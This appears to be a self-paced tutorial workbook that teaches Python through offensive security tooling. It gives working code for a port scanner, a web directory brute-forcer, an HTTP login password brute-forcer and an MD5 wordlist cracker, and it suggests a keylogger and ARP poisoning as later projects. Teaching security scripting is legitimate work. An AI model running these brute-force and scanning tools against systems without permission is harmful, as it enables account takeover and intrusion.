Practice library / Python for security work
Workbook · Easy · 4 hours
Python for Hackers
Sockets, subprocess, ctypes, pwntools, and offensive Python scripting.
On this page 10 sections
- ·Chapter 1 — Why Python?
- ·Chapter 2 — Python Basics (Security Mindset)
- ·Chapter 3 — File I/O (Reading Wordlists)
- ·Chapter 4 — Networking Basics (socket)
- ·Chapter 5 — Build a Port Scanner
- ·Chapter 6 — HTTP Requests
- ·Chapter 7 — Directory Brute-forcer
- ·Chapter 8 — Password Cracker
- ·Chapter 9 — Subprocess & OS Commands
- ·Chapter 10 — Next Steps
Python is the glue language of modern security work. It drives exploit scripts, CTF solvers, red team tooling, SIEM automations and quick one-off scanners. The language is small, the standard library is wide, and many major security frameworks provide Python bindings. This workbook builds a security mindset from the first line of code. It covers sockets for network probes, requests for HTTP tooling, subprocess for driving system commands, and hashlib for password work. Each idea becomes a short script you can read, run and change: a port scanner, a directory brute-forcer, a login cracker and an MD5 hash cracker.
New to Python? No prior knowledge is required. This workbook teaches Python through security projects, and most chapters build a working tool. Type the code instead of pasting it, because typing builds familiarity.
Chapter 1 — Why Python?
Python is widely used for security scripting, for these reasons:
- Kali Linux includes Python 3 by default
- Many security tools offer Python bindings or are written in Python (Nmap, Scapy, Impacket)
- Scripts are quick to write: a basic port scanner takes about 10 lines
- Rich libraries:
socket,requests,subprocess,scapy,paramiko(SSH) - CTF challenges often call for a short Python script
Chapter 2 — Python Basics (Security Mindset)
# Run Python interactively
python3
# Or write a script and run it:
nano myscript.py
python3 myscript.py
# Variables
target = "192.168.1.1"
port = 80
wordlist = "/usr/share/wordlists/rockyou.txt"
# Lists (multiple values)
ports = [21, 22, 23, 25, 80, 443, 8080]
common_passwords = ["password", "123456", "admin", "letmein"]
# For loops (iterate over lists)
for port in ports:
print(f"Checking port {port}...")
# If/else
if port == 80:
print("HTTP port found!")
elif port == 443:
print("HTTPS port found!")
else:
print(f"Unknown port: {port}")
# Functions
def scan_port(host, port):
print(f"Scanning {host}:{port}")
return True
scan_port("192.168.1.1", 80)Chapter 3 — File I/O (Reading Wordlists)
# Reading a wordlist file line by line
with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1") as f:
for line in f:
password = line.strip() # remove newline character
print(password)
# Read all lines into a list
with open("passwords.txt", "r") as f:
passwords = [line.strip() for line in f]
print(f"Loaded {len(passwords)} passwords")
# Write results to a file
results = ["192.168.1.1:80 OPEN", "192.168.1.1:22 OPEN"]
with open("scan_results.txt", "w") as f:
for result in results:
f.write(result + "\n")
# Append to file (don't overwrite)
with open("log.txt", "a") as f:
f.write("New scan started\n")Chapter 4 — Networking Basics (socket)
# The socket module = raw network connections in Python
import socket
# Create a TCP socket and connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1) # 1 second timeout
result = s.connect_ex(("192.168.1.1", 80))
# connect_ex returns 0 if port is open, error code if closed
if result == 0:
print("Port 80 is OPEN")
s.close()
# DNS resolution
ip = socket.gethostbyname("google.com")
print(f"google.com → {ip}")
# Reverse DNS (IP → hostname)
hostname = socket.gethostbyaddr("8.8.8.8")[0]
print(hostname) # dns.google
# Get your own IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
my_ip = s.getsockname()[0]
print(f"My IP: {my_ip}")Chapter 5 — Build a Port Scanner
#!/usr/bin/env python3
# Simple port scanner
import socket
import sys
from datetime import datetime
def scan_port(host, port, timeout=0.5):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
result = s.connect_ex((host, port))
s.close()
return result == 0 # True if open
def port_scanner(host, start_port, end_port):
print(f"\n[*] Scanning {host} ports {start_port}-{end_port}")
print(f"[*] Started: {datetime.now()}\n")
open_ports = []
for port in range(start_port, end_port + 1):
if scan_port(host, port):
print(f"[+] Port {port}/tcp OPEN")
open_ports.append(port)
print(f"\n[*] Scan complete. {len(open_ports)} open ports found.")
return open_ports
# Run it
if __name__ == "__main__":
target = input("Enter target IP: ")
port_scanner(target, 1, 1024)
# Faster version with threading:
import threading
def threaded_scan(host, ports):
threads = []
for port in ports:
t = threading.Thread(target=lambda p=port: scan_port(host, p) and print(f"[+] {p} OPEN"))
threads.append(t)
t.start()
for t in threads:
t.join()Chapter 6 — HTTP Requests
# Install requests if needed:
# pip3 install requests
import requests
# Simple GET request
r = requests.get("http://target.com/")
print(r.status_code) # 200, 404, 403, etc.
print(r.text) # response body
print(r.headers) # response headers
# POST request (login form)
data = {"username": "admin", "password": "password123"}
r = requests.post("http://target.com/login", data=data)
print(r.status_code)
# Send custom headers
headers = {
"User-Agent": "Mozilla/5.0",
"Cookie": "session=abc123"
}
r = requests.get("http://target.com/admin", headers=headers)
# Follow/don't follow redirects
r = requests.get("http://target.com/", allow_redirects=False)
print(r.headers.get("Location")) # redirect destination
# Session (maintain cookies like a browser)
session = requests.Session()
session.post("http://target.com/login", data={"user":"admin","pass":"secret"})
r = session.get("http://target.com/dashboard") # stays logged inChapter 7 — Directory Brute-forcer
#!/usr/bin/env python3
# Web directory brute-forcer
import requests
from concurrent.futures import ThreadPoolExecutor
def check_url(url):
try:
r = requests.get(url, timeout=3, allow_redirects=False)
if r.status_code in [200, 301, 302, 403]:
print(f"[{r.status_code}] {url}")
return url
except requests.exceptions.RequestException:
pass
def dir_brute(target, wordlist_path, threads=20):
if not target.endswith("/"):
target += "/"
with open(wordlist_path, "r") as f:
words = [line.strip() for line in f if line.strip()]
urls = [target + word for word in words]
print(f"[*] Scanning {target} with {len(urls)} words...")
with ThreadPoolExecutor(max_workers=threads) as executor:
executor.map(check_url, urls)
# Run
dir_brute(
"http://target.com",
"/usr/share/seclists/Discovery/Web-Content/common.txt",
threads=30
)Chapter 8 — Password Cracker
#!/usr/bin/env python3
# HTTP form password brute-forcer
import requests
def crack_password(url, username, wordlist_path, success_string):
"""
url: login endpoint
username: target username
wordlist_path: path to password list
success_string: text that appears on SUCCESSFUL login
"""
with open(wordlist_path, "r", encoding="latin-1") as f:
passwords = [line.strip() for line in f]
print(f"[*] Attacking {url} as {username}")
print(f"[*] Testing {len(passwords)} passwords...")
for password in passwords:
data = {"username": username, "password": password}
r = requests.post(url, data=data)
if success_string in r.text:
print(f"\n[+] PASSWORD FOUND: {password}")
return password
else:
print(f"[-] {password}", end="\r")
print("\n[-] Password not found in wordlist")
return None
# MD5 hash cracker
import hashlib
def crack_md5(target_hash, wordlist_path):
with open(wordlist_path, "r", encoding="latin-1") as f:
for line in f:
word = line.strip()
if hashlib.md5(word.encode()).hexdigest() == target_hash:
print(f"[+] Cracked: {word}")
return word
print("[-] Not found")
crack_md5("5f4dcc3b5aa765d61d8327deb882cf99", "/usr/share/wordlists/rockyou.txt")
# 5f4dcc3b5aa765d61d8327deb882cf99 = MD5 of "password"Chapter 9 — Subprocess & OS Commands
# Run system commands from Python
import subprocess
import os
# Run a command and get output
result = subprocess.run(["nmap", "-sV", "192.168.1.1"],
capture_output=True, text=True)
print(result.stdout)
print(result.stderr)
# Simple shell command
output = subprocess.check_output(["whoami"]).decode().strip()
print(f"Running as: {output}")
# Run nmap scan and save output
def nmap_scan(target):
result = subprocess.run(
["nmap", "-sV", "-oN", f"scan_{target}.txt", target],
capture_output=True, text=True
)
return result.stdout
# OS operations
import os
print(os.getcwd()) # current directory
os.makedirs("results", exist_ok=True) # create directory
files = os.listdir("/tmp") # list directory
# Environment variables
home = os.environ.get("HOME", "/tmp")
path = os.environ.get("PATH")Chapter 10 — Next Steps
# Key Python libraries for security:
pip3 install scapy → packet crafting and sniffing
pip3 install paramiko → SSH automation
pip3 install pwntools → CTF exploit development
pip3 install impacket → Windows/AD attack tools
pip3 install shodan → Shodan API for internet scanning
pip3 install python-nmap → nmap Python wrapper
# Scapy quick example (send ping):
from scapy.all import *
packet = IP(dst="8.8.8.8")/ICMP()
response = sr1(packet, timeout=1, verbose=0)
if response:
print(f"Reply from {response[IP].src}")
# Practice projects:
1. Full port scanner with banner grabbing
2. SSH brute-forcer using paramiko
3. DNS zone transfer tool
4. Simple keylogger (for learning)
5. ARP poisoning with scapy
6. HTTP header security checker
7. Shodan search automation
# Learning resources:
Black Hat Python (book) → security-focused Python
Violent Python (book) → offensive Python
Python docs: docs.python.org
HackerRank Python challenges → practice fundamentalsWorkbook complete. Python can automate many security tasks. Building your own tools is an effective way to learn, because every tool you write is one you fully understand.
Sign in to track progress and send feedback.
Related
This workbook is extra practice for the course Python for security work. Do the lessons first.Open the course